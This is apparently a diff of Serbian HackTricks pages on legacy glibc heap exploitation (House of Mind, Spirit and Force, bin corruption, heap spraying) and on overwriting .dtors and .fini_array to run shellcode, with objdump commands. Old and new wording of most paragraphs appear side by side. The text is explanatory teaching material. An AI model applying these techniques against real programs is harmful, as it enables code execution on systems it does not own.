Poziv free() dovodi do poziva public\_fREe(mem), koji radi:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -382,11 +344,11 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje chunk (mem-8)
|
||||
p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje deo (mem-8)
|
||||
|
||||
…
|
||||
|
||||
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
|
@ -394,9 +356,9 @@ ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(
|
|||
|
||||
}
|
||||
|
||||
U \[1] proverava se polje size bit NON\_MAIN\_ARENA, koje se može promeniti kako bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struktura heap\_info)
|
||||
U \[1] proverava polje size bit NON\_MAIN\_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap\_for\_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar\_ptr (kao da je struct heap\_info)
|
||||
|
||||
Na ovaj način, ako možemo kontrolisati chunk na primer na 0x0804a000 i treba osloboditi chunk na **0x081002a0** možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi chunk oslobodi, otkriće da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr)
|
||||
Na ovaj način, ako možemo kontrolisati deo na primer na 0x0804a000 i deo na **0x081002a0** će biti oslobođen, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, naći će da heap\_for\_ptr(ptr)->ar\_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar\_ptr)
|
||||
|
||||
Na taj način se poziva \_int\_free(ar\_ptr, mem), odnosno **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
|
@ -410,33 +372,33 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunk koji će biti oslobođen.
|
||||
Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u delu koji će biti oslobođen.
|
||||
|
||||
Kako je definisano unsorted\_chunks, znamo da:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Stoga, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će biti upisana vrednost u \_\_DTOR\_END\_\_ adresa drugog chunk-a.
|
||||
Stoga, ako u av->bins\[2] upišemo vrednost \_\_DTOR\_END\_\_-12, u poslednjoj instrukciji će biti upisana vrednost u \_\_DTOR\_END\_\_ adresa drugog dela.
|
||||
|
||||
Drugim rečima, u prvom chunk-u na početku treba staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući
|
||||
Drugim rečima, na početku prvog dela moramo staviti adresu \_\_DTOR\_END\_\_-12 mnogo puta jer će av->bins\[2] to izvući.
|
||||
|
||||
Na adresi na koju padne adresa drugog chunk-a sa poslednjih 5 nula treba upisati adresu ovog prvog chunk-a kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog chunk-a i izvukao av->bins\[2] odatle
|
||||
Na adresi na koju padne adresa drugog dela sa poslednjih 5 nula, treba upisati adresu ovog prvog dela kako bi heap\_for\_ptr() mislio da je ar\_ptr na početku prvog dela i izvukao av->bins\[2] odatle.
|
||||
U drugom delu, zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim što aktivira -> NON\_MAIN\_ARENA
|
||||
|
||||
U drugom chunk-u i zahvaljujući prvom, prepisujemo prev\_size sa jump 0x0c i size sa nečim da aktivira -> NON\_MAIN\_ARENA
|
||||
Zatim u delu 2 stavljamo puno nops-a i na kraju shellcode
|
||||
|
||||
Zatim u drugom chunk-u stavljamo gomilu nops i na kraju shellcode
|
||||
Na taj način će se pozvati \_int\_free(TROZO1, TROZO2) i slijediti upute za pisanje u \_\_DTOR\_END\_\_ adresu prev\_size od TROZO2 koji će skočiti na shellcode.
|
||||
|
||||
Na taj način će se pozvati \_int\_free(CHUNK1, CHUNK2) i pratiti instrukcije za upisivanje u \_\_DTOR\_END\_\_ adresu prev\_size CHUNK2 koji će skočiti na shellcode.
|
||||
Da biste primenili ovu tehniku, potrebno je da se ispune određeni zahtevi koji malo komplikuju payload.
|
||||
Za primenu ove tehnike potrebno je ispuniti još neke zahteve koji malo komplikuju payload.
|
||||
|
||||
Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjena kao i za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.
|
||||
Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
To je varijanta The house of mind
|
||||
|
||||
interesuje nas izvršavanje sledećeg koda do kojeg se dolazi nakon prvog provere u funkciji \_int\_free()
|
||||
interesuje nas izvršavanje sledećeg koda koji se dostiže nakon prve provere funkcije \_int\_free()
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> Gde je fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
|
@ -446,61 +408,61 @@ p->fd = \*fb
|
|||
|
||||
\*fb = p
|
||||
|
||||
Na ovaj način, ako se postavi u "fb", daje adresu funkcije u GOT-u, na ovu adresu će se postaviti adresa prebrisana. Za ovo će biti potrebno da je arena blizu adresa dtors. Tačnije, av->max\_fast treba da bude na adresi koju ćemo prebrisati.
|
||||
Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT-u, na toj adresi će se postaviti adresa prepisanog dela. Za ovo će biti potrebno da je arena blizu adresa dtors-a. Tačnije, av->max\_fast treba da bude adresa koju ćemo prepisati.
|
||||
|
||||
S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.
|
||||
|
||||
Zato, ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
|
||||
Zato ako u polje size stavimo veličinu 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() će vratiti fastbins\[-1], koji će pokazivati na av->max\_fast
|
||||
|
||||
U ovom slučaju, av->max\_fast će biti adresa koja će biti prebrisana (ne na koju pokazuje, već ta pozicija će biti prebrisana).
|
||||
U ovom slučaju av->max\_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana).
|
||||
|
||||
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti jmp koji će pasti na nops).
|
||||
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops).
|
||||
|
||||
Takođe, isti lažni deo mora biti manji od av->system\_mem. av->system\_mem je udaljen 1848 bajtova.
|
||||
|
||||
Zbog nula u \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prebrisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.
|
||||
Zbog nula u \_DTOR\_END\_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.
|
||||
|
||||
Još jedan način napada je preusmeravanje **av** ka steku.
|
||||
|
||||
Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo iskoristiti ovo da prepišemo stek.
|
||||
Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin\_index() će vratiti fastbins\[0] i možemo iskoristiti ovo da prepisujemo stek.
|
||||
|
||||
Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom slučaju: 4 bajta nula + EBP + RET
|
||||
Za ovo ne sme biti nikakvih canary-ja ili čudnih vrednosti na steku, zapravo moramo biti u ovom: 4 bajta nula + EBP + RET
|
||||
|
||||
Potrebno je da **av** bude na ovoj adresi i prvi element **av** je mutex koji mora biti 0.
|
||||
Potrebna su 4 bajta nula kako bi **av** bio na toj adresi i prvi element **av** je mutex koji mora biti 0.
|
||||
|
||||
**av->max\_fast** će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.
|
||||
|
||||
U **av->fastbins\[0]** će se prebrisati sa adresom **p** i biće RET, tako da će se preskočiti do shellcode.
|
||||
U **av->fastbins\[0]** će se prepisati adresa **p** i biće RET, tako da će se skočiti na shellcode.
|
||||
|
||||
Takođe, u **av->system\_mem** (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
|
||||
|
||||
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti jmp koji će pasti na nops koji idu posle polja size novog lažnog dela).
|
||||
Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops koji dolaze nakon polja size novog lažnog dela).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da pokazivač bude na steku ispod mogućeg prelivanja promenljive).
|
||||
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).
|
||||
|
||||
Na taj način, mogli bismo da navedemo ovaj pokazivač da pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48.
|
||||
Na taj način, mogli bismo da usmerimo ovaj pokazivač gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max\_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48.
|
||||
|
||||
Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP-a. U slučaju da napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prebrisati kako EBP tako i EIP sa adresom koju želi.
|
||||
U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP-a. Ukoliko napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati kako EBP tako i EIP sa adresom koju želi.
|
||||
|
||||
Mislim da je to zato što kada se oslobodi free() čuvaće se da u adresi koja pokazuje na EBP steka postoji deo tačne veličine za novi malloc() koji se želi rezervisati, pa će mu biti dodeljena ta adresa.
|
||||
Ovo mislim da je zato što kada se oslobodi free() čuvaće da u adresi koja pokazuje na EBP steka postoji deo tačne veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
Potrebno je:
|
||||
|
||||
* Preplavljivanje dela koje omogućava prebrisivanje wilderness-a
|
||||
* Prekoračenje u delu koje omogućava prepisivanje wilderness-a
|
||||
* Poziv malloc() sa veličinom definisanom od strane korisnika
|
||||
* Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
|
||||
|
||||
Prvo što se radi je prebrisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa.
|
||||
Prvo što se radi je prepisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u \_int\_malloc() bez potrebe za proširivanjem hipa.
|
||||
|
||||
Drugo je promena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se postaviti \&EIP - 8.
|
||||
|
||||
Mora se prebrisati av->top tako da pokazuje na deo memorije pod kontrolom napadača:
|
||||
Mora se prepisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
|
@ -508,11 +470,11 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victim prikuplja vrednost adrese trenutnog dela wilderness-a (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada će količina koju moramo rezervisati u kontrolisanom malloc-u da bi av->top pokazivao na $EIP-8 za sledeći malloc() biti:
|
||||
Victim uzima vrednost adrese trenutnog dela wilderness-a (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je \&EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom malloc-u kako bi av->top pokazivao na $EIP-8 za sledeći malloc():
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prebrisati.
|
||||
Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
|
||||
|
||||
Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, veličina će biti tačno u polju EBP steka.
|
||||
|
||||
|
@ -520,52 +482,65 @@ Važno je znati da veličina novog dela wilderness bude veća od zahteva posledn
|
|||
|
||||
**Korupcija SmallBin**
|
||||
|
||||
Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen ne ide odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, vraća se, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins se stavlja u odgovarajući bin.
|
||||
Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen neće odmah biti ubačen u svoj bin već će ostati u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, biće vraćen, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins će biti ubačen u odgovarajući bin.
|
||||
|
||||
Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max\_fast (obično 72) i manji od MIN\_LARGE\_SIZE (512).
|
||||
Ako u binu postoji komad odgovarajuće veličine zahtevanog, vraća se taj nakon što se odvoji:
|
||||
|
||||
Ako u binu postoji deo odgovarajuće veličine za zahtev, on se vraća nakon što se odveže:
|
||||
bck = victim->bk; Pokazuje na prethodni komad, jedina informacija koju možemo promeniti.
|
||||
|
||||
bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo promeniti.
|
||||
bin->bk = bck; Pretposlednji komad postaje poslednji, u slučaju da bck pokazuje na stack sledećeg rezervisanog komada, dodeliće mu se ova adresa.
|
||||
|
||||
bin->bk = bck; Pretposlednji deo postaje poslednji, ako bck pokazuje na stek, sledećem rezervisanom delu će biti dodeljena ova adresa
|
||||
|
||||
bck->fd = bin; Zatvara se lista tako što ovaj pokazuje na bin
|
||||
bck->fd = bin; Lista se zatvara tako što ovaj pokazuje na bin
|
||||
|
||||
Potrebno je:
|
||||
Rezervišu se dva malloc-a, tako da se prvi može preplaviti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog dela pre prelivanja)
|
||||
|
||||
Malloc rezervisan za adresu koju odabere napadač mora biti pod kontrolom napadača.
|
||||
Da se rezervišu dva malloc-a, tako da se prvom može izazvati prelivanje nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog komada pre prelivanja)
|
||||
|
||||
Cilj je sledeći, ako možemo preplaviti heap koji ima oslobođen deo ispod i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo pokazivač bk i taj deo postane prvi na listi binova i rezervisan je, bin će biti prevaren i reći će mu se da je sledeći deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega.
|
||||
Da malloc rezervisan za koji je odabrana adresa od strane napadača bude kontrolisan od strane napadača.
|
||||
|
||||
Nakon što se modifikovani deo oslobodi, potrebno je rezervisati deo veći od oslobođenog, tako da modifikovani deo izađe iz unsorted binova i ubaci se u svoj bin.
|
||||
Cilj je sledeći, ako možemo izazvati prelivanje na heap-u koji ima ispod sebe komad već oslobođen i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i ovaj komad postane prvi na listi bin i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji komad liste (sledeći koji nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Zbog toga, ako se ponovo rezerviše drugi komad i napadač ima dozvole na njemu, dobiće komad na željenoj poziciji i moći će da piše u njega.
|
||||
|
||||
Kada je u svom binu, vreme je da se promeni pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo.
|
||||
Nakon što se modifikovani komad oslobodi, potrebno je rezervisati komad veći od oslobođenog, tako da modifikovani komad izađe iz unsorted binova i ubaci se u svoj bin.
|
||||
|
||||
Dakle, bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. Zatim će biti dat deo koji nas zanima.
|
||||
Kada se nađe u svom binu, vreme je da se promeni njegov pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo.
|
||||
|
||||
Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobođenje ovog dela, rezervacija dela većeg od onog koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjivi deo i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu.
|
||||
Tako bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći komad na lažnoj adresi. Zatim će biti dat komad koji nas zanima.
|
||||
|
||||
Za zaštitu od ovog napada koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo nekako da bude u mogućnosti da napiše (verovatno preko stacka) na odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi deo.
|
||||
Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog komada, rezervacija komada koji će se modifikovati, oslobođenje ovog komada, rezervacija komada većeg od onog koji će se modifikovati, modifikacija komada (ranjivost), rezervacija komada iste veličine kao ranjivi i rezervacija drugog komada iste veličine koji će pokazivati na odabranu adresu.
|
||||
|
||||
Za zaštitu od ovog napada koristi se tipična provera da komad "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog komada pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo da bude sposoban da na neki način (verovatno preko stacka) upiše u odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi komad.
|
||||
|
||||
**Korupcija LargeBin**
|
||||
|
||||
Potrebni su isti zahtevi kao i pre, plus neki dodatni, osim toga, rezervisani delovi moraju biti veći od 512.
|
||||
Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani komadi moraju biti veći od 512.
|
||||
|
||||
Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebni su svi ti pozivi malloc(), ali takođe treba promeniti veličinu modifikovanog dela tako da taj size - nb bude < MINSIZE.
|
||||
Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu modifikovanog komada tako da taj size - nb bude < MINSIZE.
|
||||
|
||||
Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned)
|
||||
|
||||
Takođe je uveden zakrpa da bi se to učinilo još komplikovanijim.
|
||||
|
||||
**Heap Spraying**
|
||||
**Raspršivanje Heap-a**
|
||||
|
||||
Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe se koristi 0x0c kao jastuk. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepisuje sa ovim jastukom, skočiće tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li se prepisuje neki pokazivač i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.
|
||||
Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće se tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li je neki pokazivač prekoračen i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.
|
||||
|
||||
**Heap Feng Shui**
|
||||
**Feng Shui Heap-a**
|
||||
|
||||
Sastoji se u cementiranju memorije putem rezervacija i oslobođenja kako bi se ostavili rezervisani delovi između slobodnih delova. Bafer za prelivanje će se nalaziti u jednom od tih delova.
|
||||
Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se ostavili rezervisani komadi između slobodnih komada. Bafer za prelivanje će se nalaziti u jednom od tih komada.
|
||||
|
||||
**objdump -d izvršiv** —> Disas funkcije\
|
||||
**objdump -d ./PROGRAMA | grep FUNKCIJA** —> Dobijanje adrese funkcije\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Da biste videli da li je zaista naš shellcode i izvukli OpCodes\
|
||||
**objdump -t ./exec | grep varBss** —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Da biste izvukli adresu funkcija biblioteka (GOT)\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koja će biti prepisana u GOT\
|
||||
**objdump -D ./exec** —> Disas sve do ulaza plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info functions strncmp —>** Info o funkciji u gdb
|
||||
|
||||
## Interesantni kursevi
|
||||
|
||||
|
@ -583,7 +558,7 @@ Sastoji se u cementiranju memorije putem rezervacija i oslobođenja kako bi se o
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF-u** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
# AWS2Exec - .dtors & .fini\_array
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## .dtors
|
||||
|
||||
{% hint style="danger" %}
|
||||
Danas je veoma **čudno naći binarni fajl sa .dtors sekcijom**.
|
||||
{% endhint %}
|
||||
|
||||
Destruktori su funkcije koje se **izvršavaju pre završetka programa** (nakon što se `main` funkcija završi).\
|
||||
Adrese ovih funkcija se čuvaju unutar **`.dtors`** sekcije binarnog fajla i stoga, ako uspete **upisati** adresu **shell koda** u **`__DTOR_END__`**, to će biti **izvršeno** pre nego što program završi.
|
||||
|
||||
Dobijte adresu ove sekcije sa:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Obično ćete pronaći **oznake DTOR-a** **između** vrednosti `ffffffff` i `00000000`. Dakle, ako vidite samo te vrednosti, to znači da **nema registrovane funkcije**. Zato **prepišite** **`00000000`** sa **adresom** **shell koda** da biste ga izvršili.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Naravno, prvo morate pronaći **mesto za čuvanje shell koda** kako biste ga kasnije mogli pozvati.
|
||||
{% endhint %}
|
||||
|
||||
## **.fini\_array**
|
||||
|
||||
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Imajte na umu da ovo **neće** **stvoriti** večnu petlju jer će kanarinci primetiti kada se vratite u glavni program, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, sa ovim ćete moći **izvršiti još 1 put** ranjivost.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da je sa [Full Relro](../common-binary-protections-and-bypasses/relro.md), sekcija `.fini_array` postavljena kao **samo za čitanje**.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
